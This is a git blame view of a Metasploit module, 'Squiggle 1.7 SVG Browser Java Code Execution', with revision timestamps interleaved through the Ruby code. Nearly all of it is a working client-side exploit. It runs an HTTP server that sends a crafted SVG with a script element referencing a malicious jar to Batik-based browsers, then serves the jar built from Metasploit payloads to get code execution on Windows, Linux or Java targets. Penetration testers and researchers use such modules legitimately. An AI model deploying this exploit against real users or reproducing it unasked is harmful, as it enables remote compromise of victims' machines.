Files
metasploit-gs/modules/exploits/multi/misc/batik_svg_java.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

131 lines
3.9 KiB
Ruby
Raw Normal View History

2012-05-21 10:59:52 -05:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
2012-05-21 10:59:52 -05:00
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
2012-05-21 10:59:52 -05:00
Rank = ExcellentRanking
2013-08-30 16:28:54 -05:00
2012-05-21 10:59:52 -05:00
include Msf::Exploit::Remote::HttpServer::HTML
2013-08-30 16:28:54 -05:00
2025-06-20 13:20:44 +01:00
def initialize(info = {})
super(
update_info(
info,
'Name' => "Squiggle 1.7 SVG Browser Java Code Execution",
'Description' => %q{
2012-05-21 10:59:52 -05:00
This module abuses the SVG support to execute Java Code in the
2025-06-20 13:20:44 +01:00
Squiggle Browser included in the Batik framework 1.7 through a
crafted SVG file referencing a jar file.
2013-08-30 16:28:54 -05:00
2025-06-20 13:20:44 +01:00
In order to gain arbitrary code execution, the browser must meet
the following conditions: (1) It must support at least SVG version
1.1 or newer, (2) It must support Java code and (3) The "Enforce
secure scripting" check must be disabled.
2013-08-30 16:28:54 -05:00
2025-06-20 13:20:44 +01:00
The module has been tested against Windows and Linux platforms.
},
'License' => MSF_LICENSE,
'Author' => [
2012-05-21 10:59:52 -05:00
'Nicolas Gregoire', # aka @Agarri_FR, Abuse discovery and PoC
'sinn3r', # Metasploit module
'juan vazquez' # Metasploit module
2012-05-21 10:59:52 -05:00
],
2025-06-20 13:20:44 +01:00
'References' => [
['OSVDB', '81965'],
2012-05-21 10:59:52 -05:00
['URL', 'http://www.agarri.fr/blog/']
],
2025-06-20 13:20:44 +01:00
'Payload' => {
2012-05-21 10:59:52 -05:00
'Space' => 20480,
'BadChars' => '',
'DisableNops' => true
},
2025-06-20 13:20:44 +01:00
'DefaultOptions' => {
2015-09-01 10:43:45 +02:00
'EXITFUNC' => 'thread'
2012-05-21 10:59:52 -05:00
},
2025-06-20 13:20:44 +01:00
'Platform' => %w{java linux win},
'Targets' => [
[
'Generic (Java Payload)',
2012-05-21 10:59:52 -05:00
{
'Arch' => ARCH_JAVA,
}
],
2025-06-20 13:20:44 +01:00
[
'Windows Universal',
2012-05-21 10:59:52 -05:00
{
'Arch' => ARCH_X86,
'Platform' => 'win'
}
],
2025-06-20 13:20:44 +01:00
[
'Linux x86',
2012-05-21 10:59:52 -05:00
{
'Arch' => ARCH_X86,
'Platform' => 'linux'
}
]
],
2025-06-20 13:20:44 +01:00
'Privileged' => false,
'DisclosureDate' => '2012-05-11',
'DefaultTarget' => 0,
'Notes' => {
2025-06-23 12:43:46 +01:00
'Reliability' => UNKNOWN_RELIABILITY,
'Stability' => UNKNOWN_STABILITY,
'SideEffects' => UNKNOWN_SIDE_EFFECTS
}
2025-06-20 13:20:44 +01:00
)
)
2012-05-21 10:59:52 -05:00
end
2013-08-30 16:28:54 -05:00
2012-05-21 10:59:52 -05:00
def on_request_uri(cli, request)
agent = request.headers['User-Agent']
2025-06-20 13:20:44 +01:00
jar_uri = ('/' == get_resource[-1, 1]) ? get_resource[0, get_resource.length - 1] : get_resource
jar_uri << "/#{rand_text_alpha(rand(6) + 3)}.jar"
rand_text = Rex::Text.rand_text_alphanumeric(rand(8) + 4)
2013-08-30 16:28:54 -05:00
2012-05-21 10:59:52 -05:00
if request.uri =~ /\.jar$/
paths = [
[ "Exploit.class" ],
[ "Exploit$1.class"],
[ "META-INF", "MANIFEST.MF"]
]
2013-08-30 16:28:54 -05:00
2012-05-21 10:59:52 -05:00
p = regenerate_payload(cli)
2013-08-30 16:28:54 -05:00
2025-06-20 13:20:44 +01:00
jar = p.encoded_jar
2012-05-21 10:59:52 -05:00
paths.each do |path|
1.upto(path.length - 1) do |idx|
2025-06-20 13:20:44 +01:00
full = path[0, idx].join("/") + "/"
if !(jar.entries.map { |e| e.name }.include?(full))
2012-05-21 10:59:52 -05:00
jar.add_file(full, '')
end
end
2013-08-30 16:28:54 -05:00
2025-06-20 13:20:44 +01:00
fd = File.open(File.join(Msf::Config.data_directory, "exploits", "batik_svg", path), "rb")
2012-05-21 10:59:52 -05:00
data = fd.read(fd.stat.size)
jar.add_file(path.join("/"), data)
fd.close
end
2013-08-30 16:28:54 -05:00
print_status("#{cli.peerhost} - Sending jar payload")
2025-06-20 13:20:44 +01:00
send_response(cli, jar.pack, { 'Content-Type' => 'application/java-archive' })
2013-08-30 16:28:54 -05:00
2012-05-21 10:59:52 -05:00
elsif agent =~ /Batik/
svg = %Q|
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.0">
<script type="application/java-archive" xlink:href="#{jar_uri}"/>
<text>#{rand_text}</text>
</svg>
|
2013-08-30 16:28:54 -05:00
2012-05-21 10:59:52 -05:00
svg = svg.gsub(/\t\t\t/, '')
print_status("#{cli.peerhost} - Sending SVG")
2025-06-20 13:20:44 +01:00
send_response(cli, svg, { 'Content-Type' => 'image/svg+xml' })
2013-08-30 16:28:54 -05:00
2012-05-21 10:59:52 -05:00
else
print_error("#{cli.peerhost} - Unknown client request: #{request.uri.inspect}")
2012-05-21 10:59:52 -05:00
end
end
end